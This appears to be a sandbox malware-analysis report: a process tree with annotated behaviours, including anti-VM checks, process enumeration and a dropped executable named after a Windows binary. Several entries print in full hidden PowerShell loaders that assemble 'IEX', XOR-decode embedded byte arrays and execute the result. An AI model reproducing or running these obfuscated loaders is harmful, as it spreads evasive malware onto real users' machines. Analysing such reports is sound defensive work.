  powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3964
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe"
  2⤵
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$aq='I';$aq+='E'+'X';$vf=3+2;$mn=[byte[]]@(0x5c,0x24,0x54,0x03,0x71,0x24,0x50,0x4a,0x11,0x21,0x1d,0x31,0x74,0x08,0x04,0x0d,0x10,0x72,0x4e,0x7b,0x01,0x01,0x7b,0x58,0x19,0x17,0x21,0x03,0x0d,0x0f,0x24,0x2b,0x3d,0x0e,0x26,0x41,0x2b,0x2e,0x5a,0x07,0x19,0x12,0x07,0x37,0x2d,0x2d,0x04,0x15,0x3a,0x3d,0x11,0x13,0x0d,0x38,0x53,0x11,0x31,0x64,0x2f,0x21,0x3d,0x31,0x11,0x10,0x17,0x3c,0x1a,0x14,0x63,0x36,0x12,0x14,0x78,0x75,0x13,0x7e,0x30,0x3e,0x4d,0x2d,0x1d,0x21,0x1d,0x1e,0x1a,0x2c,0x42,0x0a,0x65,0x63,0x26,0x0e,0x15,0x15,0x5f,0x25,0x2b,0x1d,0x2f,0x67,0x1d,0x0c,0x64,0x27,0x19,0x12,0x23,0x32,0x38,0x2a,0x00,0x55,0x58,0x1b,0x07,0x50,0x64,0x11,0x60,0x2f,0x32,0x25,0x1c,0x20,0x79,0x0c,0x0a,0x16,0x14,0x21,0x4e,0x1a,0x31,0x69,0x40,0x5f,0x74,0x39,0x55,0x2c)+[byte[]]@(0x3f,0x70,0x31,0x1c,0x0b,0x26,0x44,0x63,0x2b,0x39,0x5e,0x42,0x62,0x0c,0x25,0x09,0x14,0x62,0x39,0x31,0x39,0x00,0x2d,0x64,0x0b,0x1f,0x73,0x3e,0x04,0x07,0x3e,0x0c,0x05,0x1c,0x36,0x3d,0x2c,0x0e,0x3f,0x71,0x05,0x15,0x69,0x3d,0x62,0x6d,0x15,0x61,0x2f,0x65,0x54,0x04,0x43,0x3b,0x0f,0x1b,0x67,0x23,0x59,0x16,0x65,0x60,0x18,0x6c,0x22,0x7c,0x15,0x44,0x32,0x3d,0x00,0x5d,0x67,0x1d,0x57,0x16,0x2d,0x64,0x4a,0x20,0x37,0x2e,0x5f,0x2d,0x3d,0x1f,0x39,0x13,0x62,0x16,0x7f,0x2d,0x6b,0x14,0x0f,0x31,0x31,0x05,0x5f,0x43,0x3f,0x37,0x1d,0x61,0x2b,0x23,0x52,0x0d,0x28,0x02,0x07,0x29,0x3c,0x16,0x04,0x14,0x1d,0x7a,0x40,0x18,0x6d,0x63,0x53,0x1a,0x20,0x63,0x47,0x7e,0x2d,0x2a,0x1c,0x02,0x31,0x3c,0x1f,0x5c,0x21,0x28,0x1b,0x35,0x20)+[byte[]]@(0x26,0x3c,0x20,0x28,0x2d,0x00,0x0a,0x0c,0x72,0x44,0x66,0x38,0x24,0x16,0x45,0x2d,0x30,0x1a,0x35,0x63,0x77,0x4a,0x4e,0x40,0x7c,0x58,0x06,0x7e,0x63,0x07,0x52,0x76,0x6a,0x5c,0x75,0x63,0x69,0x56,0x48,0x4b,0x67,0x46,0x40,0x3e,0x2c,0x51,0x07,0x62,0x64,0x43,0x0a,0x2c,0x2c,0x23,0x10,0x14,0x37,0x49,0x17,0x3a,0x6d,0x1b,0x37,0x36,0x21,0x2c,0x24,0x2a,0x31,0x06,0x29,0x19,0x20,0x1a,0x5a,0x24,0x2a,0x4b,0x01,0x24,0x30,0x0d,0x2d,0x22,0x25,0x5e,0x10,0x1e,0x7a,0x3d,0x56,0x39,0x39,0x1b,0x32,0x24,0x30,0x06,0x65,0x7d,0x28,0x4c,0x02,0x2b,0x26,0x08,0x41,0x3e,0x60,0x66,0x10,0x2a,0x27,0x0b,0x36,0x2a,0x78,0x41,0x09,0x58,0x7f,0x3e,0x5a,0x24,0x29,0x59,0x15,0x16,0x30,0x17,0x29,0x3c,0x78,0x2d,0x10,0x1c,0x36,0x0c,0x5d,0x37,0x30);$qu=([Text.Encoding]::ASCII.GetBytes('xRi3JM6bEDnEYXey'))*27;$nc=New-Object byte[] $mn.Length;for($dj=0;$dj-lt$mn.Length;$dj++){$nc[$dj]=$mn[$dj]-bxor$qu[$dj]};$iw=[Text.Encoding]::UTF8.GetString($nc);try{& $aq $iw}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$yi='I';$yi+='E'+'X';$qk=5+8;$r=[byte[]]@(0x16,0x1f,0x4a,0x5e,0x58,0x1c,0x20,0x49,0x3d,0x21,0x21,0x42,0x48,0x26,0x0c,0x41,0x3b,0x4a,0x14,0x2d,0x73,0x7e,0x24,0x4d,0x32,0x30,0x3a,0x00,0x35,0x3e,0x05,0x00,0x73,0x39,0x39,0x1f,0x54,0x30,0x06,0x56,0x39,0x6e,0x5b,0x1b,0x03,0x1b,0x02,0x19,0x04,0x0e,0x11,0x64,0x15,0x43,0x00,0x05,0x19,0x15,0x12,0x0e,0x57,0x0c,0x4c,0x5b,0x06,0x19,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f,0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x36,0x39,0x2b,0x61,0x04,0x2b,0x61,0x20,0x64,0x64,0x24,0x00,0x0f,0x11,0x10,0x6a,0x41,0x20,0x2a,0x31,0x18,0x39,0x20,0x20,0x42,0x32,0x18,0x56,0x45,0x6c,0x5d,0x06,0x1b,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f)+[byte[]]@(0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x2d,0x37,0x3f,0x71,0x04,0x2b,0x61,0x20,0x64,0x73,0x2a,0x27,0x27,0x3f,0x31,0x15,0x25,0x3d,0x18,0x04,0x74,0x2a,0x2e,0x32,0x6a,0x74,0x43,0x48,0x41,0x4e,0x0f,0x58,0x0a,0x55,0x0a,0x13,0x6e,0x4c,0x07,0x2b,0x26,0x16,0x41,0x00,0x44,0x4e,0x77,0x1a,0x0e,0x2f,0x57,0x5b,0x07,0x5a,0x3e,0x02,0x01,0x2e,0x41,0x4d,0x21,0x3c,0x40,0x5f,0x22,0x28,0x78,0x03,0x4a,0x1b,0x3e,0x71,0x7d,0x47,0x27,0x0f,0x17,0x1d,0x1b,0x5b,0x53,0x03,0x37,0x42,0x37,0x17,0x03,0x51,0x3c,0x07,0x75,0x0c,0x54,0x57,0x27,0x16,0x03,0x06,0x5d,0x6f,0x4a,0x4e,0x6a,0x37,0x4e,0x00,0x51,0x44,0x0e,0x27,0x18,0x4a,0x1e,0x71,0x5c,0x1f,0x18,0x05,0x06,0x58,0x11,0x04)+[byte[]]@(0x0b,0x16,0x37,0x47,0x10,0x13,0x1e,0x41,0x73,0x47,0x66,0x17,0x51,0x12,0x4e,0x1f,0x1a,0x17,0x05,0x7c,0x4e,0x46,0x73,0x6a,0x18,0x54,0x43,0x59,0x1b,0x62,0x5a,0x00,0x4b,0x0a,0x02,0x53,0x46,0x5d,0x52,0x46,0x73,0x4e,0x1a,0x30,0x33,0x51,0x00,0x51,0x4d,0x18,0x1c,0x1f,0x47,0x23,0x51,0x5e,0x0c,0x57,0x4a,0x13,0x55,0x6b,0x34,0x1a,0x21,0x10,0x57,0x16,0x1f,0x0e,0x65,0x32,0x18,0x40,0x0c,0x56,0x55,0x14,0x14,0x0f,0x17,0x16,0x2e,0x1a,0x14,0x7f,0x3b,0x50,0x4d,0x22,0x08,0x46,0x27,0x47,0x63,0x04,0x4c,0x5a,0x49,0x53,0x1e,0x4a,0x0e,0x15,0x15,0x08,0x36,0x26,0x1b,0x35,0x04,0x02,0x56,0x36,0x19,0x40,0x45,0x1c,0x42,0x49,0x5a,0x39,0x0a,0x1b,0x22,0x0e,0x1e,0x17,0x26,0x4f,0x09,0x13,0x4d,0x7d,0x3a,0x0e,0x57,0x00,0x56,0x4f,0x14);$s=([Text.Encoding]::ASCII.GetBytes('2iwncuFaiDR6evm5Sj3e8'))*21;$sy=New-Object byte[] $r.Length;for($eg=0;$eg-lt$r.Length;$eg++){$sy[$eg]=$r[$eg]-bxor$s[$eg]};$fv=[Text.Encoding]::UTF8.GetString($sy);try{& $yi $fv}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$j='I';$j+='E'+'X';$h=1+8;$ac=[byte[]]@(0x12,0x32,0x55,0x42,0x48,0x1a,0x09,0x52,0x13,0x37,0x39,0x27,0x1a,0x63,0x20,0x30,0x31,0x6a,0x6b,0x2e,0x7d,0x08,0x25,0x48,0x2f,0x20,0x20,0x3c,0x13,0x05,0x0b,0x01,0x72,0x6f,0x0e,0x36,0x38,0x29,0x20,0x03,0x6a,0x12,0x01,0x00,0x07,0x06,0x0e,0x16,0x05,0x3d,0x32,0x73,0x70,0x46,0x24,0x37,0x2d,0x6a,0x0d,0x02,0x52,0x2d,0x1c,0x1b,0x1c,0x1d,0x1c,0x5d,0x6e,0x29,0x6e,0x25,0x0a,0x02,0x3c,0x7f,0x30,0x2c,0x64,0x32,0x53,0x37,0x1c,0x5f,0x23,0x12,0x1b,0x12,0x67,0x75,0x02,0x18,0x7b,0x7e,0x7b,0x18,0x0a,0x05,0x0a,0x32,0x61,0x05,0x3a,0x37,0x2f,0x25,0x22,0x0d,0x26,0x20,0x2f,0x7f,0x17,0x7a,0x2f,0x27,0x77,0x16,0x1a,0x2b,0x41,0x25,0x1a,0x17,0x53,0x27,0x00,0x15,0x2b,0x21,0x6d,0x7a,0x4c,0x17,0x37,0x79,0x68,0x37,0x77,0x0f)+[byte[]]@(0x50,0x6c,0x3c,0x17,0x00,0x07,0x42,0x2a,0x26,0x26,0x22,0x73,0x10,0x7b,0x0a,0x08,0x14,0x70,0x10,0x2e,0x77,0x16,0x2c,0x25,0x32,0x21,0x2a,0x26,0x06,0x11,0x1a,0x1a,0x6b,0x77,0x12,0x00,0x0d,0x16,0x1a,0x24,0x79,0x1c,0x37,0x2d,0x54,0x5a,0x14,0x5e,0x31,0x6f,0x7b,0x2e,0x0c,0x5a,0x27,0x6c,0x74,0x24,0x23,0x12,0x16,0x60,0x1e,0x5b,0x08,0x57,0x1f,0x47,0x0d,0x3d,0x23,0x3d,0x1a,0x63,0x20,0x30,0x31,0x6a,0x68,0x03,0x58,0x32,0x52,0x26,0x36,0x3e,0x3f,0x5a,0x6f,0x09,0x03,0x1c,0x19,0x63,0x20,0x30,0x31,0x17,0x76,0x5c,0x71,0x21,0x1c,0x20,0x12,0x1d,0x0b,0x15,0x2a,0x14,0x23,0x3f,0x52,0x7d,0x20,0x29,0x3c,0x62,0x65,0x4d,0x11,0x6a,0x0d,0x0a,0x16,0x54,0x46,0x41,0x33,0x20,0x33,0x28,0x7e,0x5d,0x37,0x2b,0x32,0x2f,0x61,0x31,0x53)+[byte[]]@(0x26,0x3a,0x17,0x02,0x06,0x0a,0x09,0x33,0x72,0x67,0x06,0x45,0x5a,0x61,0x63,0x31,0x3e,0x38,0x16,0x0c,0x6b,0x47,0x45,0x4b,0x5d,0x5e,0x4f,0x73,0x7c,0x7b,0x63,0x04,0x1d,0x73,0x74,0x63,0x7b,0x7f,0x57,0x05,0x71,0x47,0x01,0x07,0x12,0x08,0x1f,0x60,0x72,0x67,0x1c,0x42,0x47,0x07,0x2d,0x35,0x2f,0x6c,0x42,0x46,0x64,0x45,0x27,0x00,0x16,0x2d,0x1b,0x34,0x3b,0x29,0x03,0x56,0x41,0x32,0x2d,0x37,0x2d,0x31,0x05,0x57,0x30,0x0b,0x1a,0x08,0x0e,0x54,0x13,0x21,0x7a,0x1e,0x36,0x44,0x47,0x6c,0x14,0x38,0x3e,0x24,0x46,0x12,0x34,0x41,0x09,0x20,0x07,0x0e,0x08,0x33,0x7f,0x1a,0x21,0x58,0x50,0x24,0x37,0x2a,0x6a,0x68,0x16,0x16,0x69,0x3f,0x1b,0x1d,0x17,0x00,0x0d,0x14,0x26,0x33,0x3f,0x52,0x13,0x09,0x2d,0x3d,0x2e,0x29,0x08,0x4b,0x39);$c=([Text.Encoding]::ASCII.GetBytes('6DhrssozGRJS73ADYJLf'))*22;$g=New-Object byte[] $ac.Length;for($zs=0;$zs-lt$ac.Length;$zs++){$g[$zs]=$ac[$zs]-bxor$c[$zs]};$yc=[Text.Encoding]::UTF8.GetString($g);try{& $j $yc}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/easily
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x34c,0x7fff5206c188,0x7fff5206c194,0x7fff5206c1a0
      4⤵
      PID:1956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,11876716222940572461,2051298648554168462,524288 --field-trial-handle=2372,i,4236590096724197520,11888962115919891424,262144 --variations-seed-version --mojo-platform-channel-handle=2404 /prefetch:11
      4⤵
      System Time Discovery
      PID:4184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1644,i,8201329559402151027,8735995042965932208,262144 --field-trial-handle=2372,i,4236590096724197520,11888962115919891424,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:2
      4⤵
      PID:1912
